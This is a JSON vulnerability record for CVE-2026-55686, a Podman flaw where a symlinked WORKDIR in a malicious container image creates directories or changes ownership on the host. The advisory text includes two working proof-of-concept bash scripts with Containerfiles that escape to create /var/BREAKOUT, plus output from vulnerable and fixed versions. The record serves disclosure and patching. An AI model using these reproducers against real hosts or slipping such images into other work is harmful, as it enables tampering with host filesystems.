{"id":"CVE-2026-55686","aliases":["CVE-2026-55686","GHSA-q6r4-3wmg-fwcq","GO-2026-5568"],"related":[],"kind":"vulnerability","state":"published","title":"Podman: WORKDIR symlink traversal vulnerability","summary":"Podman is a tool for managing OCI containers and pods. From 3.0.0 until 5.7.1, running a malicious container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition. This vulnerability is fixed in 5.7.1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Podman is a tool for managing OCI containers and pods. From 3.0.0 until 5.7.1, running a malicious container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition. This vulnerability is fixed in 5.7.1.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nRunning a malicous container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition.\n\n### Patch\n\nhttps://github.com/podman-container-tools/podman/commit/d18e44e9abb3bf5b7294aa70806e1368fdddfdd0\n\n### Details\n\nThis issue was fixed in podman 5.7.1 (git commit 7ce2e00ab140c11a68301f0b161f51984131a858)\n\n### PoC\n\nThe reproducer script _test1.bash_ demonstrates the vulnerability. \nThe directory  `/var/BREAKOUT` is created on the host.\nThe container process uses the container directory `/var/BREAKOUT` as current working directory.\n\nThe reproducer script _test2.bash_ demonstrates the same vulnerability. \nThe directory  `/var/BREAKOUT` is created on the host.\nThe container process uses the container directory `/usr/local` as current working directory.\n\nThe reproducer script _test2.bash_ shows that the working directory can be different from the breakout directory.\n\nReproducer **test1.bash**\n\n```\n#!/bin/bash\nset -o errexit\nset -o nounset\n\nif [ -e /var/BREAKOUT ]; then\n  echo error: path /var/BREAKOUT should not exist beforehand\n  exit 1\nfi\n\ndir=$(mktemp -d)\ncat > $dir/Containerfile << 'EOF'\nFROM docker.io/library/alpine\nRUN cd / && ln -s ../../../../../../../var symlink\nUSER 1234:1234\nWORKDIR /symlink/BREAKOUT\nCMD [\"/bin/sh\",\"-c\",\"echo current working directory: $(pwd)\"]\nEOF\n\npodman build -q --no-cache -t img $dir\npodman run --rm localhost/img\nls -ld /var/BREAKOUT\n```\n\n\nReproducer **test2.bash**\n\n```\n#!/bin/bash\nset -o errexit\nset -o nounset\n\nif [ -e /var/BREAKOUT ]; then\n  echo error: path /var/BREAKOUT should not exist beforehand\n  exit 1\nfi\n\ndir=$(mktemp -d)\ncat > $dir/Containerfile << 'EOF'\nFROM docker.io/library/alpine\nARG breakout_dirname=/var\nARG breakout_basename=BREAKOUT\nARG produce_pwd=/usr/local\nRUN mkdir -p /0/1/2/3 && \\\n    cd /0 && \\\n    ln -s 1/2/3 symlink1 && \\\n    mkdir -p /0/1/symlink2/${breakout_dirname} && \\\n    cd /0/1/symlink2/${breakout_dirname} && \\\n    ln -s ${produce_pwd} ${breakout_basename}\nRUN cd / && ln -s ../../../../../../.. symlink2\nUSER 1234:1234\nWORKDIR /0/symlink1/../../symlink2/${breakout_dirname}/${breakout_basename}\nCMD [\"/bin/sh\",\"-c\",\"echo current working directory: $(pwd)\"]\nEOF\n\npodman build -q --no-cache -t img $dir\npodman run --rm localhost/img\nls -ld /var/BREAKOUT\n```\n\n\n\nVulnerable:\n\npodman 5.7.0 using Fedora CoreOS 43.20251120.3.0\n\n```\nroot@localhost:~# bash test1.bash \n38c27b69c61941741f49c3f87b589b422391d5908659665cabf248934be0ed80\ncurrent working directory: /var/BREAKOUT\ndrwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT\nroot@localhost:~# rmdir /var/BREAKOUT/\nroot@localhost:~# bash test2.bash \nc3390edbe393a3f3b182e60c5900cf93444b5120fbe34dc305478b3b77a106c9\ncurrent working directory: /usr/local\ndrwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT\n```\n\nNot vulnerable:\n\npodman 5.7.1 using Fedora CoreOS 43.20260119.1.1\n\n```\nroot@localhost:~# bash test1.bash \n0229bf752a821d5b9bb8afcf4b94e8de2a4838798ae8065414b7f939b81d0788\ncurrent working directory: /var/BREAKOUT\nls: cannot access '/var/BREAKOUT': No such file or directory\nroot@localhost:~# bash test2.bash \n568584150a93a003feb8ae1985173bf50ced9cba4d52f9734cb70dc75eeb7c60\ncurrent working directory: /usr/local\nls: cannot access '/var/BREAKOUT': No such file or directory\n```\n\n### Credits\n\nWe like to thank Erik Sjölund (@eriksjolund) for reporting the security impact to us.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Podman: WORKDIR symlink traversal vulnerability in github.com/containers/podman","format":"markdown","source":"go"},{"lang":"es","text":"Podman es una herramienta para gestionar contenedores OCI y pods. Desde la versión 3.0.0 hasta la 5.7.1, ejecutar una imagen de contenedor maliciosa donde la ruta WORKDIR contiene un enlace simbólico (symlink) puede crear un directorio o modificar la propiedad en el sistema de archivos del host. La modificación de la propiedad es menos probable que ocurra, ya que requiere la ayuda de un proceso no confiable/malicioso que muta el árbol del sistema de archivos del host durante la desreferenciación de la ruta WORKDIR, para desencadenar una condición de carrera. Esta vulnerabilidad está corregida en la versión 5.7.1.","source":"nvd"}],"published":"2026-06-18T14:28:26.000Z","modified":"2026-11-03T20:00:05.626Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","score":5.3,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","score":5.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","score":5.3,"rating":"MEDIUM"}],"cwes":["CWE-59","CWE-61"],"affected":[{"ranges":[{"version":">= 3.0.0, < 5.7.1","status":"affected"}],"vendor":"podman-container-tools","product":"podman","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"5.7.1"}],"ecosystem":"Go","package":"github.com/containers/podman/v5","purl":"pkg:golang/github.com/containers/podman/v5","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"4.9.5"}],"ecosystem":"Go","package":"github.com/containers/podman/v4","purl":"pkg:golang/github.com/containers/podman/v4","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"3.4.7"}],"ecosystem":"Go","package":"github.com/containers/podman/v3","purl":"pkg:golang/github.com/containers/podman/v3","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/containers/podman","purl":"pkg:golang/github.com/containers/podman","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/containers/podman/v2","purl":"pkg:golang/github.com/containers/podman/v2","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/containers/podman/v3","purl":"pkg:golang/github.com/containers/podman/v3","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/containers/podman/v4","purl":"pkg:golang/github.com/containers/podman/v4","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"5.7.1"}],"ecosystem":"Go","package":"github.com/containers/podman/v5","purl":"pkg:golang/github.com/containers/podman/v5","source":"go"},{"ranges":[{"status":"affected","introduced":"3.0.0","fixed":"5.7.1"}],"vendor":"podman_project","product":"podman","cpe":"cpe:2.3:a:podman_project:podman:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/podman-container-tools/podman/security/advisories/GHSA-q6r4-3wmg-fwcq","tags":["advisory","exploit","patch","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/podman-container-tools/podman/commit/d18e44e9abb3bf5b7294aa70806e1368fdddfdd0","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55686","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/podman-container-tools/podman/commit/7ce2e00ab140c11a68301f0b161f51984131a858","tags":["web"],"sources":["ghsa","go"]},{"url":"https://github.com/podman-container-tools/podman","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-06-26T18:31:12.071Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-55686","url":"https://www.cve.org/CVERecord?id=CVE-2026-55686","licence":"CVE Terms of Use","modified":"2026-06-26T18:31:36.842Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-q6r4-3wmg-fwcq","url":"https://github.com/advisories/GHSA-q6r4-3wmg-fwcq","licence":"CC-BY-4.0","modified":"2026-11-03T20:00:05.626Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5568","url":"https://pkg.go.dev/vuln/GO-2026-5568","licence":"CC-BY-4.0","modified":"2026-06-25T23:01:23.114Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-55686","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55686","licence":"Public domain","modified":"2026-10-25T17:10:00.197Z"}],"updatedAt":"2026-11-25T22:59:26.502Z","epss":{"score":0.00374,"percentile":0.33385,"date":"2026-12-02T12:00:21.000Z"}}